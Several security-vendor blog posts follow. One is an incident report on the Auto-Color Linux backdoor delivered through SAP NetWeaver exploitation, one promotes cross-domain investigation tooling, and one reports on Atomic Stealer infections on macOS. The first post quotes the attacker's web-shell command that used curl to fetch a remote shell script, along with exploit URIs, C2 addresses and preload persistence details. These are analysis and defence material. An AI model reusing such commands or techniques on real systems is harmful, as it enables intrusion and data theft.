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July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Harriet Rayner
Cyber Analyst
Written by
Owen Finn
Cyber Analyst
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29
Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Harriet Rayner
Cyber Analyst
Written by
Owen Finn
Cyber Analyst

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December 5, 2025

Simplifying Cross Domain Investigations

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Cross-domain gaps mean cross-domain attacks  

Organizations are built on increasingly complex digital estates. Nowadays, the average IT ecosystem spans across a large web of interconnected domains like identity, network, cloud, and email.  

While these domain-specific technologies may boost business efficiency and scalability, they also provide blind spots where attackers can shelter undetected. Threat actors can slip past defenses because security teams often use different detection tools in each realm of their digital infrastructure. Adversaries will purposefully execute different stages of an attack across different domains, ensuring no single tool picks up too many traces of their malicious activity. Identifying and investigating this type of threat, known as a cross-domain attack, requires mastery in event correlation.  

For example, one isolated network scan detected on your network may seem harmless at first glance. Only when it is stitched together with a rare O365 login, a new email rule and anomalous remote connections to an S3 bucket in AWS does it begin to manifest as an actual intrusion.  

However, there are a whole host of other challenges that arise with detecting this type of attack. Accessing those alerts in the respective on-premise network, SaaS and IaaS environments, understanding them and identifying which ones are related to each other takes significant experience, skill and time. And time favours no one but the threat actor.  

Anatomy of a cross domain attack
Figure 1: Anatomy of a cross domain attack

Diverse domains and empty grocery shelves

In April 2025, the UK faced a throwback to pandemic-era shortages when the supermarket giant Marks & Spencer (M&S) was crippled by a cyberattack, leaving empty shelves across its stores and massive disruptions to its online service.  

The threat actors, a group called Scattered Spider, exploited multiple layers of the organization’s digital infrastructure. Notably, the group were able to bypass the perimeter not by exploiting a technical vulnerability, but an identity. They used social engineering tactics to impersonate an M&S employee and successfully request a password reset.  

Once authenticated on the network, they accessed the Windows domain controller and exfiltrated the NTDS.dit file – a critical file containing hashed passwords for all users in the domain. After cracking those hashes offline, they returned to the network with escalated privileges and set their sights on the M&S cloud infrastructure. They then launched the encryption payload on the company’s ESXi virtual machines.

To wrap up, the threat actors used a compromised employee’s email account to send an “abuse-filled” email to the M&S CEO, bragging about the hack and demanding payment. This was possibly more of a psychological attack on the CEO than a technically integral part of the cyber kill chain. However, it revealed yet another one of M&S’s domains had been compromised.  

In summary, the group’s attack spanned four different domains:

Identity: Social engineering user impersonation

Network: Exfiltration of NTDS.dit file

Cloud: Ransomware deployed on ESXI VMs

Email: Compromise of user account to contact the CEO

Adept at exploiting nuance

This year alone, several high-profile cyber-attacks have been attributed to the same group, Scattered Spider, including the hacks on Victoria’s Secret, Adidas, Hawaiian Airlines, WestJet, the Co-op and Harrods. It begs the question, what has made this group so successful?

In the M&S attack, they showcased their advanced proficiency in social engineering, which they use to bypass identity controls and gain initial access. They demonstrated deep knowledge of cloud environments by deploying ransomware onto virtualised infrastructure. However, this does not exemplify a cookie-cutter template of attack methods that brings them success every time.

According to CISA, Scattered Spider typically use a remarkable variety of TTPs (tactics, techniques and procedures) across multiple domains to carry out their campaigns. From leveraging legitimate remote access tools in the network, to manipulating AWS EC2 cloud instances or spoofing email domains, the list of TTPs used by the group is eye-wateringly long. Additionally, the group reportedly evades detection by “frequently modifying their TTPs”.  

If only they had better intentions. Any security director would be proud of a red team who not only has this depth and breadth of domain-centric knowledge but is also consistently upskilling.  

Yet, staying ahead of adversaries who seamlessly move across domains and fluently exploit every system they encounter is just one of many hurdles security teams face when investigating cross-domain attacks.  

Resource-heavy investigations

There was a significant delay in time to detection of the M&S intrusion. News outlet BleepingComputer reported that attackers infiltrated the M&S network as early as February 2025. They maintained persistence for weeks before launching the attack in late April 2025, indicating that early signs of compromise were missed or not correlated across domains.

While it’s unclear exactly why M&S missed the initial intrusion, one can speculate about the unique challenges investigating cross-domain attacks present.  

Challenges of cross-domain investigation

First and foremost, correlation work is arduous because the string of malicious behaviour doesn’t always stem from the same device.  

A hypothetical attack could begin with an O365 credential creating a new email rule. Weeks later, that same credential authenticates anomalously on two different devices. One device downloads an .exe file from a strange website, while the other starts beaconing every minute to a rare external IP address that no one else in the organisation has ever connected to. A month later, a third device downloads 1.3 GiB of data from a recently spun up S3 bucket and gradually transfers a similar amount of data to that same rare IP.

Amid a sea of alerts and false positives, connecting the dots of a malicious attack like this takes time and meticulous correlation. Factor in the nuanced telemetry data related to each domain and things get even more complex.  

An analyst who specialises in network security may not understand the unique logging formats or API calls in the cloud environment. Perhaps they are proficient in protecting the Windows Active Directory but are unfamiliar with cloud IAM.  

Cloud is also an inherently more difficult domain to investigate. With 89% of organizations now operating in multi-cloud environments time must be spent collecting logs, snapshots and access records. Coupled with the threat of an ephemeral asset disappearing, the risk of missing a threat is high. These are some of the reasons why research shows that 65% of organisations spend 3-5 extra days investigating cloud incidents.  

Helpdesk teams handling user requests over the phone require a different set of skills altogether. Imagine a threat actor posing as an employee and articulately requesting an urgent password reset or a temporary MFA deactivation. The junior Helpdesk agent— unfamiliar with the exception criteria, eager to help and feeling pressure from the persuasive manipulator at the end of the phoneline—could easily fall victim to this type of social engineering.  

Empowering analysts through intelligent automation

Even the most skilled analysts can’t manually piece together every strand of malicious activity stretching across domains. But skill alone isn’t enough. The biggest hurdle in investigating these attacks often comes down to whether the team have the time, context, and connected visibility needed to see the full picture.

Many organizations attempt to bridge the gap by stitching together a patchwork of security tools. One platform for email, another for endpoint, another for cloud, and so on. But this fragmentation reinforces the very silos that cross-domain attacks exploit. Logs must be exported, normalized, and parsed across tools a process that is not only error-prone but slow. By the time indicators are correlated, the intrusion has often already deepened.

That’s why automation and AI are becoming indispensable. The future of cross-domain investigation lies in systems that can:

  • Automatically correlate activity across domains and data sources, turning disjointed alerts into a single, interpretable incident.
  • Generate and test hypotheses autonomously, identifying likely chains of malicious behaviour without waiting for human triage.
  • Explain findings in human terms, reducing the knowledge gap between junior and senior analysts.
  • Operate within and across hybrid environments, from on-premise networks to SaaS, IaaS, and identity systems.

This is where Darktrace transforms alerting and investigations. Darktrace’s Cyber AI Analyst automates the process of correlation, hypothesis testing, and narrative building, not just within one domain, but across many. An anomalous O365 login, a new S3 bucket, and a suspicious beaconing host are stitched together automatically, surfacing the story behind the alerts rather than leaving it buried in telemetry.

How threat activity is correlated in Cyber AI Analyst
Figure 2: How threat activity is correlated in Cyber AI Analyst

By analyzing events from disparate tools and sources, AI Analyst constructs a unified timeline of activity showing what happened, how it spread, and where to focus next. For analysts, it means investigation time is measured in minutes, not days. For security leaders, it means every member of the SOC, regardless of experience, can contribute meaningfully to a cross-domain response.

Figure 3: Correlation showcasing cross domains (SaaS and IaaS) in Cyber AI Analyst

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

What once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

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About the author
Benjamin Druttman
Cyber Security AI Technical Instructor

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December 5, 2025

Atomic Stealer: Darktrace’s Investigation of a Growing macOS Threat

Atomic Stealer: Darktrace’s Investigation of a Growing macOS ThreatDefault blog imageDefault blog image

The Rise of Infostealers Targeting Apple Users

In a threat landscape historically dominated by Windows-based threats, the growing prevalence of macOS information stealers targeting Apple users is becoming an increasing concern for organizations. Infostealers are a type of malware designed to steal sensitive data from target devices, often enabling attackers to extract credentials and financial data for resale or further exploitation. Recent research identified infostealers as the largest category of new macOS malware, with an alarming 101% increase in the last two quarters of 2024 [1].

What is Atomic Stealer?

Among the most notorious is Atomic macOS Stealer (or AMOS), first observed in 2023. Known for its sophisticated build, Atomic Stealer can exfiltrate a wide range of sensitive information including keychain passwords, cookies, browser data and cryptocurrency wallets.

Originally marketed on Telegram as a Malware-as-a-Service (MaaS), Atomic Stealer has become a popular malware due to its ability to target macOS. Like other MaaS offerings, it includes services like a web panel for managing victims, with reports indicating a monthly subscription cost between $1,000 and $3,000 [2]. Although Atomic Stealer’s original intent was as a standalone MaaS product, its unique capability to target macOS has led to new variants emerging at an unprecedented rate

Even more concerning, the most recent variant has now added a backdoor for persistent access [3]. This backdoor presents a significant threat, as Atomic Stealer campaigns are believed to have reached an around 120 countries. The addition of a backdoor elevates Atomic Stealer to the rare category of backdoor deployments potentially at a global scale, something only previously attributed to nation-state threat actors [4].

This level of sophistication is also evident in the wide range of distribution methods observed since its first appearance; including fake application installers, malvertising and terminal command execution via the ClickFix technique. The ClickFix technique is particularly noteworthy: once the malware is downloaded onto the device, users are presented with what appears to be a legitimate macOS installation prompt. In reality, however, the user unknowingly initiates the execution of the Atomic Stealer malware.

This blog will focus on activity observed across multiple Darktrace customer environments where Atomic Stealer was detected, along with several indicators of compromise (IoCs). These included devices that successfully connected to endpoints associated with Atomic Stealer, those that attempted but failed to establish connections, and instances suggesting potential data exfiltration activity.

Darktrace’s Coverage of Atomic Stealer

As this evolving threat began to spread across the internet in June 2025, Darktrace observed a surge in Atomic Stealer activity, impacting numerous customers in 24 different countries worldwide. Initially, most of the cases detected in 2025 affected Darktrace customers within the Europe, Middle East, and Africa (EMEA) region. However, later in the year, Darktrace began to observe a more even distribution of cases across EMEA, the Americas (AMS), and Asia Pacific (APAC). While multiple sectors were impacted by Atomic Stealer, Darktrace customers in the education sector were the most affected, particularly during September and October, coinciding with the return to school and universities after summer closures. This spike likely reflects increased device usage as students returned and reconnected potentially compromised devices to school and campus environments.

Starting from June, Darktrace detected multiple events of suspicious HTTP activity to external connections to IPs in the range 45.94.47.0/24. Investigation by Darktrace’s Threat Research team revealed several distinct patterns ; HTTP POST requests to the URI “/contact”, identical cURL User Agents and HTTP requests to “/api/tasks/[base64 string]” URIs.

Within one observed customer’s environment in July, Darktrace detected two devices making repeated initiated HTTP connections over port 80 to IPs within the same range. The first, Device A, was observed making GET requests to the IP 45.94.47[.]158 (AS60781 LeaseWeb Netherlands B.V.), targeting the URI “/api/tasks/[base64string]” using the “curl/8.7.2” user agent. This pattern suggested beaconing activity and triggered the ‘Beaconing Activity to External Rare' model alert in Darktrace / NETWORK, with Device A’s Model Event Log showing repeated connections. The IP associated with this endpoint has since been flagged by multiple open-source intelligence (OSINT) vendors as being associated with Atomic Stealer [5].

Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.
Figure 1: Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.

Darktrace’s Cyber AI Analyst subsequently launched an investigation into the activity, uncovering that the GET requests resulted in a ‘503 Service Unavailable’ response, likely indicating that the server was temporarily unable to process the requests.

Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.
Figure 2: Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.

This unusual activity prompted Darktrace’s Autonomous Response capability to recommend several blocking actions for the device in an attempt to stop the malicious activity. However, as the customer’s Autonomous Response configuration was set to Human Confirmation Mode, Darktrace was unable to automatically apply these actions. Had Autonomous Response been fully enabled, these connections would have been blocked, likely rendering the malware ineffective at reaching its malicious command-and-control (C2) infrastructure.

Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.
Figure 3: Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.

In another customer environment in August, Darktrace detected similar IoCs, noting a device establishing a connection to the external endpoint 45.94.47[.]149 (ASN: AS57043 Hostkey B.V.). Shortly after the initial connections, the device was observed making repeated requests to the same destination IP, targeting the URI /api/tasks/[base64string] with the user agent curl/8.7.1, again suggesting beaconing activity. Further analysis of this endpoint after the fact revealed links to Atomic Stealer in OSINT reporting [6].

Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.
Figure 4:  Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.

As with the customer in the first case, had Darktrace’s Autonomous Response been properly configured on the customer’s network, it would have been able to block connectivity with 45.94.47[.]149. Instead, Darktrace suggested recommended actions that the customer’s security team could manually apply to help contain the attack.

Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.
Figure 5: Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.

In the most recent case observed by Darktrace in October, multiple instances of Atomic Stealer activity were seen across one customer’s environment, with two devices communicating with Atomic Stealer C2 infrastructure. During this incident, one device was observed making an HTTP GET request to the IP 45.94.47[.]149 (ASN: AS60781 LeaseWeb Netherlands B.V.). These connections targeted the URI /api/tasks/[base64string, using the user agent curl/8.7.1.  

Shortly afterward, the device began making repeated connections over port 80 to the same external IP, 45.94.47[.]149. This activity continued for several days until Darktrace detected the device making an HTTP POST request to a new IP, 45.94.47[.]211 (ASN: AS57043 Hostkey B.V.), this time targeting the URI /contact, again using the curl/8.7.1 user agent. Similar to the other IPs observed in beaconing activity, OSINT reporting later linked this one to information stealer C2 infrastructure [7].

Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.
Figure 6: Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.

Further investigation into this customer’s network revealed that similar activity had been occurring as far back as August, when Darktrace detected data exfiltration on a second device. Cyber AI Analyst identified this device making a single HTTP POST connection to the external IP 45.94.47[.]144, another IP with malicious links [8], using the user agent curl/8.7.1 and targeting the URI /contact.

Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.
Figure 7:  Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.

A deeper investigation into the technical details within the POST request revealed the presence of a file named “out.zip”, suggesting potential data exfiltration.

Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.
Figure 8: Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.

Similarly, in another environment, Darktrace was able to collect a packet capture (PCAP) of suspected Atomic Stealer activity, which revealed potential indicators of data exfiltration. This included the presence of the “out.zip” file being exfiltrated via an HTTP POST request, along with data that appeared to contain details of an Electrum cryptocurrency wallet and possible passwords.

Read more about Darktrace’s full deep dive into a similar case where this tactic was leveraged by malware as part of an elaborate cryptocurrency scam.

PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.
Figure 9: PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.

Although recent research attributes the “out.zip” file to a new variant named SHAMOS [9], it has also been linked more broadly to Atomic Stealer [10]. Indeed, this is not the first instance where Darktrace has seen the “out.zip” file in cases involving Atomic Stealer either. In a previous blog detailing a social engineering campaign that targeted cryptocurrency users with the Realst Stealer, the macOS version of Realst contained a binary that was found to be Atomic Stealer, and similar IoCs were identified, including artifacts of data exfiltration such as the “out.zip” file.

Conclusion

The rapid rise of Atomic Stealer and its ability to target macOS marks a significant shift in the threat landscape and should serve as a clear warning to Apple users who were traditionally perceived as more secure in a malware ecosystem historically dominated by Windows-based threats.

Atomic Stealer’s growing popularity is now challenging that perception, expanding its reach and accessibility to a broader range of victims. Even more concerning is the emergence of a variant embedded with a backdoor, which is likely to increase its appeal among a diverse range of threat actors. Darktrace’s ability to adapt and detect new tactics and IoCs in real time delivers the proactive defense organizations need to protect themselves against emerging threats before they can gain momentum.

Credit to Isabel Evans (Cyber Analyst), Dylan Hinz (Associate Principal Cyber Analyst)
Edited by Ryan Traill (Analyst Content Lead)

Appendices

References

1.     https://www.scworld.com/news/infostealers-targeting-macos-jumped-by-101-in-second-half-of-2024

2.     https://www.kandji.io/blog/amos-macos-stealer-analysis

3.     https://www.broadcom.com/support/security-center/protection-bulletin/amos-stealer-adds-backdoor

4.     https://moonlock.com/amos-backdoor-persistent-access

5.     https://www.virustotal.com/gui/ip-address/45.94.47.158/detection

6.     https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html

7.     https://www.virustotal.com/gui/ip-address/45.94.47.211/detection

8.     https://www.virustotal.com/gui/ip-address/45.94.47.144/detection

9.     https://securityaffairs.com/181441/malware/over-300-entities-hit-by-a-variant-of-atomic-macos-stealer-in-recent-campaign.html

10.   https://binhex.ninja/malware-analysis-blogs/amos-stealer-atomic-stealer-malware.html

Darktrace Model Detections

Darktrace / NETWORK

  • Compromise / Beaconing Activity To External Rare
  • Compromise / HTTP Beaconing to New IP
  • Compromise / HTTP Beaconing to Rare Destination
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Device / New User Agent
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Slow Beaconing Activity To External Rare
  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Compromise / Quick and Regular Windows HTTP Beaconing

Autonomous Response

  • Antigena / Network / Significant Anomaly::Antigena Alerts Over Time Block
  • Antigena / Network / Significant Anomaly::Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat::Antigena Suspicious Activity Block

List of IoCs

  • 45.94.47[.]149 – IP – Atomic C2 Endpoint
